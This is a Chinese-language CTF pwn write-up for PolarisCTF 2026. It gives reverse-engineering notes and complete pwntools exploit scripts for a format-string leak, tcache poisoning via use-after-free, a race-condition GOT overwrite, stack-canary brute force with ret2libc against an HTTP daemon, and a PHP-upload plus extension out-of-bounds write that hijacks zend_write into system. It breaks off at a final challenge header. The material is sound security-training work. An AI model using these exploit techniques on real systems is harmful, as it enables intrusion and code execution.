Polarisctf2026 pwn wp by YHalo

近期参加了星盟战队的招新赛,题目质量很高,涵盖了不少有趣的考点,这次运气比较好,居然还拿了单方向第一,在这里简单记录和复盘一下解题思路,希望能和各位师傅交流探讨,如有纰漏或理解不到位之处,还请多多指正

polaris1

pwn

ez-nc

题目没有给附件,只给了nc靶机,黑盒起手

第一句交互提示:

Enter the filename to download:

想到格式化字符串,输入%p测试下

0x7ffdcaf5f721 not existed or could not be opened.

说明 format string 存在

用脚本枚举 %1$s ~ %80$s,观察哪些位可读

发现%45$s会触发 File content: 并输出 ELF 二进制,说明第 45 个参数展开后,最终形成了可打开的有效文件,结果把程序自身 ELF 泄出来了

把 %45$s 的输出保存后跑 strings提取flag就行

exp

from pwn import *
import re
io=remote("nc1.ctfplus.cn", 12580)
io.recvuntil(b"Enter the filename to download: ")
io.sendline(b"%45$s")
data = io.recvuntil(b"Enter the filename to download: ")
io.close()
m = re.search(rb"polarisctf\{[^}]+\}", data)
if m:
    print(m.group(0).decode())
else:
    print("flag not found")

ezheap

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
FORTIFY:    Enabled
SHSTK:      Enabled
IBT:        Enabled
$ file bin
bin: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0d7621095cc4f306b3c15884cdd4fa3881e6ba26, for GNU/Linux 3.2.0, stripped

C++和去符号化,有点难受

英文不好,还得翻译才能看懂交互菜单

[1] 注册模型工件
[2] 流式工件块
[3] Bootstrap异步调度器
[4] 检查调度器队列
[5] 分配会话张量
[6] 完成批量推理
[7] 补丁会话元数据
[8] 配置员工资料
[9] 分派异步任务
[10] 运行时遥测
[11] 操作手册
[0] 关闭网关

ida查看字符串的时候发现了./flag

polaris2

追踪引用发现后门函数,静态地址0x6750,只要想办法让程序执行到这里就会把flag打出来

polaris3

ai分析main函数逻辑,做一段固定混淆计算,如果结果刚好等于 0xDEADBEEF,往 stderr 打印 never

然后初始化了一个 runtime_ctx,全局操作对象,接着进入主菜单循环menu_loop(sub_8A60)

一样ai分析,不然看的实在太难受了

调用选项函数也发生在这里,只不过反汇编窗口没有显示出来,ida可能把case调用优化了,需要看下汇编

找像这样的jumptable case就对了

polaris4

选项6

polaris5
operator delete(s, 0x50);
ctx->active[slot] = 0;

这里释放了堆内存session

还把active数组对应下标的对象清0,表示失活

但是ctx->sessions[slot]没有清掉,典型的UAF漏洞

选项7

polaris6
((uint64_t *)s)[0] = qword_value;

改chunk的首个 qword,也就是 tcache 单链表里的 fd

qword_value来自输入值,可控,配合选项6可以做fd poison

继续逆下其他选项

选项9,Dispatch async task

是一个执行器,逻辑是

输入 task_id--从 ctx->tasks[task_id] 里取 desc--取出 desc->handler
只有满足下面任一条件才会真的 call:
handler == task_runner_log_ack
handler == task_runner_xor_ack
handler == task_runner_mul_ack
queue_ctrl->strict_policy == 0

最后handler(desc->ctx);

默认只会跑白名单里的正常任务,得想办法试下能不能让task_id->desc->handler = 后门函数

两条路:1. 让 handler 继续等于白名单里的 3 个之一 2.让 strict_policy == 0

没必要硬走1,维持白名单 handler普通任务反而后面会很麻烦

继续找关于strict_policy的引用,它在ctx->queue_ctrl + 0x8

mov rdx, [ctx+0x20]     ; queue_ctrl
cmp byte ptr [rdx+8], 0 ; strict_policy

这个位就在 queue_ctrl 结构里

如果能申请到这块内存,就可以改写queue_ctrl+0x8 = 0,使得strict_policy=0

看下选项8

本质是申请一个 0x50 的 worker_profile,读 6 个整数 + 1 个字符串,按固定偏移写进去,然后把这个指针存进一个 worker 数组里

用ai分析出这个结构体的布局:

struct worker_profile {
    uint64_t cpu_quota;    // +0x00
    uint64_t mem_quota;    // +0x08
    uint64_t io_weight;    // +0x10
    uint64_t latency_slo;  // +0x18
    uint64_t replicas;     // +0x20
    char     memo[0x20];   // +0x28
    uint64_t region_code;  // +0x48
}; // size = 0x50

程序会要求你输入一系列 Worker 的参数,并解析为 64 位整数,存入堆块内存中

选项4可以泄露queue_ctrl和task0_desc的运行地址,选项10可以泄露后门函数的运行地址

选项5会泄露 session 的 handler,还能用来做 safe-linking 计算

这样整个利用链就很清晰了:

先泄露 queue_ctrl、task0_desc、audit_sink(后门)
第一次 poison 到 queue_ctrl,用 8 把 strict_policy 清零
第二次 poison 到 task0_desc,用 8 把 handler 改成 audit_sink
最后按 9 触发 handler(ctx),打印 flag

exp

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./bin")
#io = remote("nc1.ctfplus.cn", 17941)
io=process("./bin")

def get_hex_after(out, marker):
    for line in out.splitlines():
        if marker in line:
            return int(line.split(marker, 1)[1].split()[0], 16)
    raise ValueError(f"missing marker: {marker!r}")

def bootstrap(io):
    io.sendline(b"3")
    io.recvuntil(b"gateway> ")
def inspect(io):
    io.sendline(b"4")
    out = io.recvuntil(b"gateway> ", drop=True)
    queue_ctrl = get_hex_after(out, b"queue_ctrl=")
    task0 = get_hex_after(out, b"[task:0] desc=")
    return queue_ctrl, task0

def telemetry(io):
    io.sendline(b"10")
    out = io.recvuntil(b"gateway> ", drop=True)
    return get_hex_after(out, b"diag.audit_sink=")

def alloc(io, slot, size, name):
    io.sendline(b"5")
    io.sendlineafter(b"session.slot(0-15)> ", str(slot).encode())
    io.sendlineafter(b"session.tensor_bytes> ", str(size).encode())
    io.sendlineafter(b"session.alias> ", name)
    out = io.recvuntil(b"gateway> ", drop=True)
    return get_hex_after(out, b"handle=")

def free_session(io, slot):
    io.sendline(b"6")
    io.sendlineafter(b"session.slot> ", str(slot).encode())
    io.recvuntil(b"gateway> ")

def patch_fd(io, slot, value):
    io.sendline(b"7")
    io.sendlineafter(b"diag.session.slot> ", str(slot).encode())
    io.sendlineafter(b"diag.qword_index> ", b"0")
    io.sendlineafter(b"diag.qword_value(u64)> ", str(value).encode())
    io.recvuntil(b"gateway> ")

def worker(io, a, b, c, d, e, f, memo=b"x"):
    io.sendline(b"8")
    io.sendlineafter(b"worker.cpu_quota> ", str(a).encode())
    io.sendlineafter(b"worker.mem_quota> ", str(b).encode())
    io.sendlineafter(b"worker.io_weight> ", str(c).encode())
    io.sendlineafter(b"worker.latency_slo> ", str(d).encode())
    io.sendlineafter(b"worker.replicas> ", str(e).encode())
    io.sendlineafter(b"worker.region_code> ", str(f).encode())
    io.sendlineafter(b"worker.memo> ", memo)
    io.recvuntil(b"gateway> ")

def dispatch(io, idx):
    io.sendline(b"9")
    io.sendlineafter(b"queue.task_id> ", str(idx).encode())
    return io.recvuntil(b"gateway> ", drop=True)

def poison(io, target, s0, s1, s2, tag):
    alloc(io, s0, 0x10, tag + b"0")
    h1 = alloc(io, s1, 0x10, tag + b"1")
    free_session(io, s0)
    free_session(io, s1)
    patch_fd(io, s1, target ^ (h1 >> 12))
    alloc(io, s2, 0x10, tag + b"2")

def exploit(io):
    bootstrap(io)
    queue_ctrl, task0 = inspect(io)
    audit_sink = telemetry(io)

    log.info("queue_ctrl = %#x", queue_ctrl)
    log.info("task0_desc = %#x", task0)
    log.info("audit_sink = %#x", audit_sink)

    poison(io, queue_ctrl, 0, 1, 2, b"Q")
    worker(io, 0, 0, 0, 0, 0, 0, b"policy")

    poison(io, task0, 3, 4, 5, b"T")
    worker(
        io,
        0x1111111111111111,
        0x100,
        0x3333333333333333,
        audit_sink,
        task0,
        0x6666666666666666,
        b"owned",
    )

    out = dispatch(io, 0)
    print(out.decode(errors="ignore"))


if __name__ == "__main__":
    io.recvuntil(b"gateway> ")
    exploit(io)

music box

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

长得挺像堆菜单,但是注意到程序初始化完成后建立了一个叫GarbageClean的线程

polaris7

功能逻辑是一个循环线程,检查 gc.used 是否达到阈值 0x200,没到阈值就什么都不做,继续下一轮,到阈值后拿 g_mutex

选择另一块 heap 空间作为新 base,也就是 space0(unk_4318) 和 space1 (unk_4718)来回切,总共就两块空间,遍历所有 slot,把还活着的note从旧 base + old_off 拷到新空间,按拷贝后的布局重写每个 slot 的新 offset

polaris8

当前 base = space0 时,slots 距离 base 是 0x800,当前 base = space1 时,slots 距离 base 是 0x400,两个偏移不同,但是固定

gc线程加锁后会打印GC: Be quiet.,这个可以作为之后我们判断gc拿锁的信号

同样还初始化了一个叫musicbox的线程,循环从lyrics数组里取歌词打印,歌词应该是英文版《踏浪》(不重要)

总之只要这个stop不为1就会一直以约 250ms 的频率,不断地申请、打印、释放各种不同长度的歌词数据,导致连续申请的chunk物理位置上并不连续

polaris9

再看菜单交互主逻辑大写Main,发现对于 Delete,Edit和Show这三个功能,调用链都是先调 GetSlotOffset(index)再执行各自的功能,在函数内部执行加锁

这个GetSlotOffset()返回的是当前的offset

漏洞就在于,在调用GetSlotOffset获取偏移的时候没有加锁,之后调用函数功能才加了锁,这两步之间存在时间空隙

之前说的线程GarbageClean又是一个定时轮询,如果在这两步之间发生,那就会造成拿到旧的offset,访问的却是新的base,后续操作的旧不是原来的note

还有一个漏洞是ShowNote 和 EditNote,发现这两个函数都会先把当前位置当成一个 note 头来解析,并用 random_key 做一次完整性校验

polaris10

如果校验通过,就按头部里的 off 和 len 去真正读写:

ptr + 8 + off

但如果校验失败,程序并不会直接报错退出,而是强制退回成:

off = 0;
len = 8;
polaris11

也就是说,它会从当前错误位置开始,再往后偏 8 字节,固定读写 8 字节

这就意味着如果我们利用前面的竞态,让 stale offset 落到某个 chunk 的中间,那么 ShowNote和EditNote 读到的头部大概率就不是合法 note 头,校验自然失败

而校验失败之后,程序反而白送了我们一个稳定的原语:

从错误位置开始,向后固定读写 8 字节

于是整条利用链就很清楚了

第一步,先利用一次 stale read 泄漏 random_key,主线程和musicbox线程都是250ms延迟,如果我们在歌词输出稳定后发送alloc请求,两个线程配合就可以形成交替分配堆块

具体做法是先布置前几个 note,然后在 Shownote 读 index 之后、真正进入 ShowNote 之前卡一次 GC,这样 GetSlotOffset() 拿到的是旧 offset,但 ShowNote 真正访问时使用的是新的 base

此时 stale offset 会落到另一个 chunk 的中间,校验失败,程序走默认分支,从错误位置后方固定读取 8 字节。如果这个 8 字节正好可以读到相邻 note 的真实头部,就可以恢复出 random_key

polaris12

如果我们等待第一句歌词发送lalalalalala之后,再开始布置note(每个note占据大小都是0x10),这样歌词占位和note的布置就会交替进行,第二句歌词刚好只有8字节,这个第二句刚好在note0和note1之间,note1就是图中我写入的BBBBBBB2(0x32424242424242),Note 1 的偏移变成了 0x28,等到卡完gc之后,show(1)执行验证错误分支,用ptr+8 ,0x28 + 8 = 0x30,刚好踩中 note3的头部

第二步,再利用一次 stale write 伪造 note 头

思路和前面一样,只不过这次不是 Show,而是 Edit。让 EditNote 在 GC 前取得旧 offset,在 GC 后真正写入。由于落点已经错位,校验失败后会固定往后写 8 字节,这 8 字节正好可以覆盖另一个 note 的头部

于是我们可以伪造出一个合法但偏移特殊的 note,让它后续访问的不是自己的 data,而是 slot metadata

第三步,利用这个假 note 改写 slot 表。

一旦某个 note 能读写 metadata,我们就可以修改 slot[0].off 和 slot[0].size,把 note0 指向 GOT

先让 note0 指向 puts@got – 8,这样 show note 0 就能泄漏 puts 实际地址,进而算出 libc 基址

第四步,再把 note0 指向 atoi@got – 8,然后用 edit note 0 把 atoi@got 改成 system

由于没有给定的ld,用本地ld又会让附件里的libc启程序直接stack smashing,所以我打本地时直接用的本地libc,远端再切回来

exp

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./attachments/main")
#libc=ELF("./attachments/libc.so.6")
libc=ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'bash', '-c']
fake_off = 0x388
space1 = 0x4718
def add(data, first=False):
    if first:
        io.sendline(b"1")
    else:
        io.sendlineafter(b"Please input your choice:", b"1")
    io.sendlineafter(b"Give me the size of note:", b"8")
    io.sendafter(b"Give me the content of note:", data)
def edit(idx, data):
    io.sendlineafter(b"Please input your choice:", b"3")
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"Give me the new content of note:", data)
def show(idx):
    io.sendlineafter(b"Please input your choice:", b"4")
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.recvuntil(b"Your content:\n")
    return io.recvn(8)
def wait_boot():    
    ok1 = 0
    ok2 = 0
    while not (ok1 and ok2):
        s = io.recvline()
        if b"Please input your choice:" in s:
            ok1 = 1
        if b"Lalalalalalala." in s:
            ok2 = 1
def wait_gc():
    while True:
        s = io.recvline()
        if b"GC: Be quiet." in s:
            return
def wait_until(token):
    while True:
        if token in io.recvline():
            return
def race_show(idx):
    io.sendlineafter(b"Please input your choice:", b"4")
    io.recvuntil(b"Index: ")
    wait_gc()
    io.sendline(str(idx).encode())
    io.recvuntil(b"Your content:\n")
    return io.recvn(8)
def race_edit(idx, data):
    io.sendlineafter(b"Please input your choice:", b"3")
    io.recvuntil(b"Index: ")
    wait_gc()
    io.sendline(str(idx).encode())
    io.sendafter(b"Give me the new content of note:", data)
def note0_to(addr):
    off = (addr - space1 - 8) & 0xffffffff
    edit(7, p32(off) + p32(8))
def pwn():
    libc.address = 0
    wait_boot()

    add(b"AAAAAAA1", first=True)
    add(b"BBBBBBB2")
    #gdb.attach(io)
    #pause()
    add(b"CCCCCCC3")
    gdb.attach(io)
    pause()
    add(b"DDDDDDD4")

    leak = race_show(1)
    key = u32(leak[4:]) ^ 0x80000
    log.success("key = %#x" % key)

    wait_until(b"GC: Be quiet.")
    wait_until(b"GC: Music.")

    add(b"EEEEEEE5", first=True)
    add(b"FFFFFFF6")
    add(b"GGGGGGG7")
    add(b"HHHHHHH8")

    fake = p16(fake_off) + p16(8) + p32(key ^ ((8 << 16) | fake_off))
    race_edit(5, fake)

    note0_to(elf.got["puts"])
    puts_addr = u64(show(0))
    libc.address = puts_addr - libc.sym["puts"]
    if libc.address & 0xfff:
        raise RuntimeError("bad libc leak")
    log.success("puts = %#x" % puts_addr)
    log.success("libc = %#x" % libc.address)

    note0_to(elf.got["atoi"])
    edit(0, p64(libc.sym["system"]))
    log.success("atoi -> system")
for i in range(10):
    io=process("./attachments/main")
    #io=remote("nc1.ctfplus.cn,26706)
    pwn()
    break

io.interactive()

httpd

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled

一道web pwn

先启动服务看看,是一个路由管理平台

polaris13

没有注册功能,需要考虑先绕过这个登录凭证

接着分析elf文件,从主函数开始

这个sub_4019c2函数会初始化全局状态,申请一块0x100大小的空间然后清空,用户名固定为“admin”,密码是随机的8字节

polaris14

顺着主函数找到子进程处理客户端连接的函数sub_401A24

polaris15

分别有两个函数处理GET和POST请求

  • 未登录访问 / 会跳去 /login
  • 已登录访问 /login 会跳去主页
  • /logout 会清空 token
  • /getCookie 会生成 uuid 作为 token

漏洞在于处理GET请求函数里的0x402faf这个鉴权函数

这个函数非常短,但非常关键

polaris16

它做的事就是:

return strcmp(req->cookie_key, "token") == 0 &&
       strcmp(req->cookie_value, state->token) == 0;

看起来没问题,但结合初始化函数就出事了

因为之前分析init_map初始化清零, state->token 初始就是空字符串,所以下面这个请求头:

Cookie: token=

会让:req->cookie_key == “token”,req->cookie_value == “”,state->token == “”

于是 0x402faf 直接返回真

也就是说在没有真正登录、没有访问 /getCookie 的情况下,就能伪造一个合法鉴权状态

polaris17

测试了下可以直接拿到/config的页面

主程序是父进程监听,每个连接 fork,子进程处理请求,canary在父进程里固定,子进程继承,如果子进程崩了,父进程还可以继续连接,所以canary可以尝试爆破

接下来看处理POST请求函数,它只处理 /login、/resetPasswd、/config 这三类请求

send_http_response (0x402C9E)是函数里的接收和发送http响应的功能函数,后续可以作为回包函数

有一个漏洞是在解析POST请求里的 handle_config_update (0x4035A0) 里,它先把四个字段取出来,然后分别 memcpy 到栈上的固定大小缓冲区里q1

这canary居然写在缓冲区内部

polaris18

a1是第一个参数,在这里就是POST的请求body,parse_urlencoded_form解析body,存入form_table里

find_from_param就从解析后的form_table里提取对应的字段作为param_entry(包括用户指定的长度和数据)

这里的问题是目标缓冲区是固定长度,拷贝长度len=param_entry却来自用户输入

并且没有边界检查,那就是很明显的栈溢出漏洞

按这个函数的栈布局去看,四个缓冲区大概是:

route_name  [rbp-0xa0]
ip  [rbp-0x80]
subnet_mask  [rbp-0x60]
gateway  [rbp-0x40]

gateway 这个字段离 canary 最近,所以就拿它打,先靠返回包里有没有 {“setInfo” : 1} 去一个个爆 7 字节 canary
接着再把 saved rbp 爆出来,因为后面要算栈上字符串地址

把返回地址改到 /config 成功分支的中间位置 0x402AC5,就是这个setInfo: 1分支

polaris19

同时把上层栈里后面要用到的变量改掉,让 send_http_response ()把 write@got 当响应 body 发回来。这样就能拿到 write 的真实地址,libc 基址也就有了

polaris20

最后一发就是正常 ret2libc,用 pop rdi ; ret 0x4016DE 把参数指到栈上布置好的 “cat flag >&4″,然后调 system
\>&4 是因为当前连接的 socket fd 就是 4,flag 会直接回到这条连接上

用的本地libc(2.39)

exp

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'bash', '-c']
elf = ELF("./httpd")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = elf
timeout = 0.5

canary_off = 0x28
gap_off = 0x30
rbx_off = 0x38
rbp_off = 0x40
ret_off = 0x48
caller_fd_off = 0x5C
caller_body_off = 0x70

ok = b'{"setInfo" : 1}'
ret = 0x40101A
pop_rdi = 0x4016DE
leak_continue = 0x402AC5



def enc(data):
    return b"".join(b"%%%02x" % c for c in data)


def packet(gw):
    body = b"route_name=a&ip=a&subnet_mask=a&gateway=" + enc(gw)
    return (
        b"POST /config HTTP/1.1\r\n"
        b"Host: x\r\n"
        b"Cookie: token=\r\n"
        b"Content-Type: application/x-www-form-urlencoded\r\n"
        + f"Content-Length: {len(body)}\r\n".encode()
        + b"Connection: close\r\n\r\n"
        + body
    )


def req(gw, t=timeout):
    #io = process("./httpd")
    io = remote("nc1.ctfplus.cn", 21567)
    io.send(packet(gw))
    data = io.recvrepeat(t)
    io.close()
    return data


def good(payload):
    for _ in range(2):
        try:
            if ok in req(payload):
                return True
        except (EOFError, PwnlibException):
            pass
    return False


def body(data):
    if b"\r\n\r\n" not in data:
        return b""
    return data.split(b"\r\n\r\n", 1)[1]


def brute_canary():
    canary = b"\x00"
    log.info("brute canary")
    for i in range(1, 8):
        for b in range(0x100):
            payload = b"A" * canary_off + canary + p8(b)
            if good(payload):
                canary += p8(b)
                log.success(f"canary[{i}] = {b:#04x}")
                break
        else:
            raise RuntimeError(f"canary byte {i} failed")
    log.success(f"canary = {canary.hex()}")
    return canary


def brute_rbp(canary):
    rbp = b""
    log.info("brute rbp")
    for i in range(6):
        for b in range(0x100):
            payload = b"A" * canary_off
            payload += canary
            payload += b"B" * 0x10
            payload += rbp
            payload += p8(b)
            if good(payload):
                rbp += p8(b)
                log.success(f"rbp[{i}] = {b:#04x}")
                break
        else:
            raise RuntimeError(f"rbp byte {i} failed")
    rbp += b"\x00\x00"
    log.success(f"rbp = {rbp.hex()}")
    return rbp


def leak(canary, rbp):
    #io = process("./httpd")  
    io = remote("nc1.ctfplus.cn", 21567) 
    
    payload = flat(
        {
            canary_off: canary,
            gap_off: b"G" * 8,
            rbx_off: b"B" * 8,
            rbp_off: rbp,
            ret_off: p64(leak_continue),
            caller_fd_off: p32(4),
            caller_body_off: p64(elf.got["write"]),
        },
        filler=b"A",
        length=caller_body_off + 8,
    )

    log.info("leak libc")
    
    io.send(packet(payload))
    io.recvuntil(b"\r\n\r\n")
    write_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
    io.close()

    libc.address = write_addr - libc.sym.write
    log.success(f"write = {write_addr:#x}")
    log.success(f"libc  = {libc.address:#x}")
    return libc.address


def final_payload(canary, rbp):
    stack = u64(rbp)
    cmd_off = 0x80
    cmd_addr = stack - 0x1B0 + cmd_off
    cmd = b"cat flag >&4\x00"

    return flat(
        {
            canary_off: canary,
            gap_off: b"G" * 8,
            rbx_off: b"B" * 8,
            rbp_off: p64(0),
            0x48: p64(ret),
            0x50: p64(pop_rdi),
            0x58: p64(cmd_addr),
            0x60: p64(libc.sym.system),
            0x68: p64(pop_rdi),
            0x70: p64(0),
            0x78: p64(elf.plt.exit),
            cmd_off: cmd,
        },
        filler=b"A",
        length=cmd_off + len(cmd),
    )


def pwn():
    canary = brute_canary()
    rbp = brute_rbp(canary)
    leak(canary, rbp)

    log.info("final")

    io = remote("nc1.ctfplus.cn", 21567)
    io.send(packet(final_payload(canary, rbp)))
    data = io.recvrepeat(1.5)
    io.close()
    print((body(data) or data).decode(errors="ignore"))


if __name__ == "__main__":
    pwn()

ph

vuln.so

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes

同样是一道web pwn

表面上是一个上传页面,附件里还给了一个自定义 PHP 扩展 vuln.so

从web入口开始,先把index.php丢给ai看下页面逻辑

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) {
        $file = $_FILES['file'];

        $upload_dir = '';
        $target_file = $upload_dir . basename($file['name']);

        $result = move_uploaded_file($file['tmp_name'], $target_file);

这段代码的功能是处理文件上传

先检查请求方法是否为POST,再检查文件名是否为file

upload_dir = '',也就是文件直接落在当前目录

只做了 basename(),没有做后缀限制,也没有禁止上传 .php

这就意味着我们可以上传任意 PHP 文件,文件会落到 /var/www/html/

上传后可以直接通过 http://target/文件名.php 执行

这样看这个入口很强

简单写个php文件去远端测试下:<?php echo “OK”; ?>

polaris21

上传和执行成功,但如果是 system()exec() 这样的都会报 Call to undefined function

常规的命令执行函数貌似都禁掉了

然后看下php.ini,最末尾写了一句extension = vuln.so,这个so文件一定会被作为扩展加载到php进程

接着看下start.sh

#!/bin/bash
     
echo $FLAG > /flag
chmod 400 /flag
FLAG="flag{not_here}"

# DO NOT DELETE
service apache2 start
service ssh start
sleep infinity;

/flag 权限是 400,只有文件所有者可以读

但是题目还给了一个SUID 程序 /readflag

polaris22

那么这个预期利用面应该是让我们想办法执行/readflag,另外看它能不能回显出来

然后分析vuln.so

导出函数名中很容易注意到zif_add,zif_edit,zif_delete,怀疑是个堆题布局

polaris23

三个函数都有一样的问题,这个idx<=15只检查了上界,没有兜底

那么负数索引应该也是可以通过的,有越界风险

edit函数有句挺值钱的

zend_parse_parameters是标准 PHP 内核函数,参数 &idx, &data, data_len都由用户控制

polaris24

只要能把heap[idx] 控成任意地址,heap_size[idx] 伪造成足够大

那 edit() 就直接变成任意地址写

本质就是负索引 OOB

追踪下heap

polaris25

heap 是 QWORD 数组,在0x41c0,总共定义了16个元素,每个8字节qword,如果利用负索引可以写到bss段之前

heap_size[0]在 0x4180

然后我们需要去这个扩展的入口看看

就是加载模块函数get_moudle

里面直接retern了vuln_module_entry,定位到地址

polaris26

但是这个只是结构体部分,查看引用看看它的got表处的指针

polaris27

地址是0x3fc0

0x41c0-0x3fc0=0x200

0x200/8=0x40=64

因为heap[]本身会解引用

也就是说运行时:

heap[-64] == *0x3fc0==&vuln_module_entry

这样思路就很顺了,借负索引,精准把写入起点拐到了 vuln_module_entry处

edit(-64, seed) 的写入起点是:

&vuln_module_entry = 0x40a0

相对 0x40a0 的偏移正好是:

0x4180 - 0x40a0 = 0xe0
0x41c0 - 0x40a0 = 0x120

所以构造一个长度 0x128的 seed,flat填充

seed[0xe0:0xe4] = p32(8),把 heap_size[0]改成 8

seed[0x120:0x128] = p64(target_addr),把 heap[0]`改成目标地址

这样做完以后,逻辑上就变成了:

heap[0] = target_addr
heap_size[0] = 8

所以:

edit(0, p64(value))

就会变成:

memcpy(target_addr, &value, 8);

于是我们得到了一个稳定的 8 字节任意写原语

题目远端禁用了所有常见命令执行函数,所以最自然的想法是找一个 PHP 内部函数指针,把它改成 libc 的 system

这里我选的是 libphp.so 里的全局函数指针:zend_write,这是 Zend 引擎真正的输出函数指针

echo "xxx" 最终会走到 zend_write("xxx", len)system(const char *cmd) 的第一个参数刚好也是字符串指针

在 x86_64 SysV 调用约定下:zend_write(str, len) 传参是 RDI = str, RSI = lensystem(str) 只关心 RDI

所以把:zend_write 改成system

之后,再执行echo ,也就是执行函数zend_write,就等价于system

因为我们能上传 PHP,所以直接上传:

<?php include "/proc/self/maps"; ?>

远端会把当前 Apache worker 的内存映射直接回显出来

可以从中拿到:vuln.so 基址,libphp.so 基址,libc.so.6 基址

结合一开始的readflag,用system执行/readflag > /var/www/html/flag_xxx.txt,然后访问文件就能拿到flag

exp

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
elf = ELF("./attachments/vuln.so")

host = '80-8f2f806e-55bd-4037-ad56-c2f2c8607854.challenge.ctfplus.cn'
port = 80
base = '/'

vuln_module_entry_off = 0x40a0

heap_size_off = 0x4180
heap_off = 0x41c0
seed_len = heap_off - vuln_module_entry_off + 8
heap_size_slot0_off = heap_size_off - vuln_module_entry_off
heap_slot0_off = heap_off - vuln_module_entry_off

#转url
def q(data):
    return b"".join(b"%%%02x" % x for x in bytearray(data))    


def randomname(name, ext):
    return f"{name}_{randoms(8)}.{ext}"


def webpath(name=""):
    return base + name


def build_http(method, path, body=b"", headers=None):
    headers = headers or {}
    req = f"{method} {path} HTTP/1.1\r\n".encode()
    hdr = {
        "Host": host,
        "Connection": "close",
    }
    if body:
        hdr["Content-Length"] = str(len(body))
    hdr.update(headers)
    for k, v in hdr.items():
        req += f"{k}: {v}\r\n".encode()
    req += b"\r\n" + body
    return req


def dechunk(head, data):
    if b"transfer-encoding: chunked" not in head.lower():
        return data

    out = b""
    while data:
        line, _, rest = data.partition(b"\r\n")
        if not _:
            break
        size = int(line.split(b";", 1)[0], 16)
        if size == 0:
            break
        out += rest[:size]
        data = rest[size + 2 :]
    return out


def http(method, path, body=b"", headers=None):
    req = build_http(method, path, body, headers)
    io = remote(host,port,False)
    io.send(req)
    head = io.recvuntil(b"\r\n\r\n")
    data = io.recvall(timeout=120)
    io.close()
    return head, dechunk(head, data)

#构造文件上传格式,让服务器以为在上传文件
def build_multipart(name, data):
    boundary = "----" + randoms(16)
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="{name}"\r\n'
        "Content-Type: application/octet-stream\r\n\r\n"
    ).encode()
    body += data
    body += f"\r\n--{boundary}--\r\n".encode()
    return body, {"Content-Type": f"multipart/form-data; boundary={boundary}"}


def upload(name, data):
    body, headers = build_multipart(name, data)
    _, data = http("POST", webpath("index.php"), body, headers)
    text = data.decode(errors="ignore")
    if "文件上传成功" not in text:
        log.failure(text)
        raise RuntimeError("upload failed")
    log.success(f"upload -> {name}")
    return name


def getb(name):
    _, data = http("GET", webpath(name))
    return data


def gettext(name):
    return getb(name).decode(errors="ignore")


def leak_maps():
    name = randomname("maps", "php")
    upload(name, b'<?php include "/proc/self/maps"; ?>')
    return gettext(name)

#从 maps 里提取模块基地址
def parse_base(maps, needle):
    for line in maps.splitlines():
        if needle in line and " r--p " in line and line.split()[2] == "00000000":
            return int(line.split("-", 1)[0], 16)
    raise RuntimeError(f"failed to find {needle}")


def dump_remote_file(remote_path, local_path):
    name = randomname("dump", "php")
    php = f'<?php include "php://filter/convert.base64-encode/resource={remote_path}"; ?>'.encode()
    upload(name, php)
    data = b64d(b"".join(getb(name).split()))
    open(local_path, "wb").write(data)
    log.success(f"dump -> {local_path}")


def arb_write(where, what, cmd):
    name = randomname("exp", "php")
    php = b'<?php edit(-64, $_POST["seed"]); edit(0, $_POST["ptr"]); echo $_GET["c"]; ?>'
    upload(name, php)

    seed = flat(
        {
            heap_size_slot0_off: p32(len(what)),
            heap_slot0_off: p64(where),
        },
        filler=b"\x00",
        length=seed_len,
    )
    body = b"seed=" + q(seed) + b"&ptr=" + q(what)
    path = webpath(name) + "?c=" + q(cmd.encode()).decode()

    io = remote(host, port, False)

    io.send(build_http("POST", path, body, {"Content-Type": "application/x-www-form-urlencoded"}))
    io.recvuntil(b"\r\n\r\n")
    io.recvall(timeout=120)
    io.close()


def main():
    maps = leak_maps()
    vuln_base = parse_base(maps, "/usr/local/lib/php/extensions/no-debug-non-zts-20210902/vuln.so")
    libphp_base = parse_base(maps, "/usr/lib/apache2/modules/libphp.so")
    libc_base = parse_base(maps, "/usr/lib/x86_64-linux-gnu/libc.so.6")

    libphp_path = "/tmp/libphp_remote.so"
    libc_path = "/tmp/libc_remote.so.6"
    dump_remote_file("/usr/lib/apache2/modules/libphp.so", libphp_path)
    dump_remote_file("/usr/lib/x86_64-linux-gnu/libc.so.6", libc_path)

    libphp = ELF(libphp_path, checksec=False)
    libc = ELF(libc_path, checksec=False)

    zend_write = libphp_base + libphp.sym.zend_write
    system = libc_base + libc.sym.system

    out = randomname("flag", "txt")
    cmd = f"/readflag > /var/www/html/{out}"
    arb_write(zend_write, p64(system), cmd)

    flag = gettext(out).strip()
    log.success(f"vuln_base   = {vuln_base:#x}")
    log.success(f"libphp_base = {libphp_base:#x}")
    log.success(f"libc_base   = {libc_base:#x}")
    log.success(f"zend_write  = {zend_write:#x}")
    log.success(f"system      = {system:#x}")
    log.success(f"flag file   = {out}")
    print(flag)

    return 0 if "{" in flag and "}" in flag else 1

if __name__ == "__main__":
    exit(main())

treasure

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
